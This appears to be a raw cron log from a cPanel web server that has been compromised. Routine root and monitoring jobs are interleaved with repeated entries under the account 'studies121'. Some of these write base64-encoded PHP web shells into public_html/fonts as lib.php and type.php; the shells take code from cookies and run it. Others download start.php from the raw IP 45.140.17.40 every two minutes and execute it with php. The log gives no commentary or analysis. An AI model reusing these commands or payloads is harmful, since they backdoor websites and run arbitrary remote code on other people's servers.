Sep 10 10:00:01 ip-184-168-122-23 CROND[15483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:00:01 ip-184-168-122-23 CROND[15487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:00:01 ip-184-168-122-23 CROND[15485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:00:01 ip-184-168-122-23 CROND[15484]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 10:00:01 ip-184-168-122-23 CROND[15488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:00:01 ip-184-168-122-23 CROND[15491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:00:01 ip-184-168-122-23 CROND[15492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:01:01 ip-184-168-122-23 CROND[15615]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15615]: starting 0anacron
Sep 10 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15625]: finished 0anacron
Sep 10 10:01:01 ip-184-168-122-23 CROND[15623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:01:01 ip-184-168-122-23 CROND[15626]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 10:01:01 ip-184-168-122-23 CROND[15628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:01:01 ip-184-168-122-23 CROND[15630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:01:01 ip-184-168-122-23 CROND[15634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:02:01 ip-184-168-122-23 CROND[15746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:02:01 ip-184-168-122-23 CROND[15748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:02:01 ip-184-168-122-23 CROND[15751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:02:01 ip-184-168-122-23 CROND[15750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:02:01 ip-184-168-122-23 CROND[15749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:03:01 ip-184-168-122-23 CROND[15889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:03:01 ip-184-168-122-23 CROND[15892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:03:01 ip-184-168-122-23 CROND[15890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:03:01 ip-184-168-122-23 CROND[15891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:04:01 ip-184-168-122-23 CROND[16139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:04:01 ip-184-168-122-23 CROND[16143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:04:01 ip-184-168-122-23 CROND[16142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:04:01 ip-184-168-122-23 CROND[16141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:04:01 ip-184-168-122-23 CROND[16144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:05:01 ip-184-168-122-23 CROND[16259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:05:01 ip-184-168-122-23 CROND[16261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:05:01 ip-184-168-122-23 CROND[16262]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 10:05:01 ip-184-168-122-23 CROND[16264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:05:01 ip-184-168-122-23 CROND[16265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:05:01 ip-184-168-122-23 CROND[16267]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:05:01 ip-184-168-122-23 CROND[16263]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:06:01 ip-184-168-122-23 CROND[16412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:06:01 ip-184-168-122-23 CROND[16415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:06:01 ip-184-168-122-23 CROND[16414]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:06:01 ip-184-168-122-23 CROND[16416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:06:01 ip-184-168-122-23 CROND[16417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:07:01 ip-184-168-122-23 CROND[16560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:07:01 ip-184-168-122-23 CROND[16561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:07:01 ip-184-168-122-23 CROND[16563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:07:01 ip-184-168-122-23 CROND[16562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:08:01 ip-184-168-122-23 CROND[16657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:08:01 ip-184-168-122-23 CROND[16656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:08:01 ip-184-168-122-23 CROND[16659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:08:01 ip-184-168-122-23 CROND[16660]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:08:01 ip-184-168-122-23 CROND[16664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:09:01 ip-184-168-122-23 CROND[16864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:09:01 ip-184-168-122-23 CROND[16866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:09:01 ip-184-168-122-23 CROND[16868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:09:01 ip-184-168-122-23 CROND[16869]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 10:09:01 ip-184-168-122-23 CROND[16867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:10:01 ip-184-168-122-23 CROND[17007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:10:01 ip-184-168-122-23 CROND[17009]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 10:10:01 ip-184-168-122-23 CROND[17012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:10:01 ip-184-168-122-23 CROND[17013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:10:01 ip-184-168-122-23 CROND[17014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:10:01 ip-184-168-122-23 CROND[17017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:10:01 ip-184-168-122-23 CROND[17016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:10:01 ip-184-168-122-23 CROND[17019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:11:01 ip-184-168-122-23 CROND[17189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:11:01 ip-184-168-122-23 CROND[17186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:11:01 ip-184-168-122-23 CROND[17188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:11:01 ip-184-168-122-23 CROND[17187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:12:01 ip-184-168-122-23 CROND[17287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
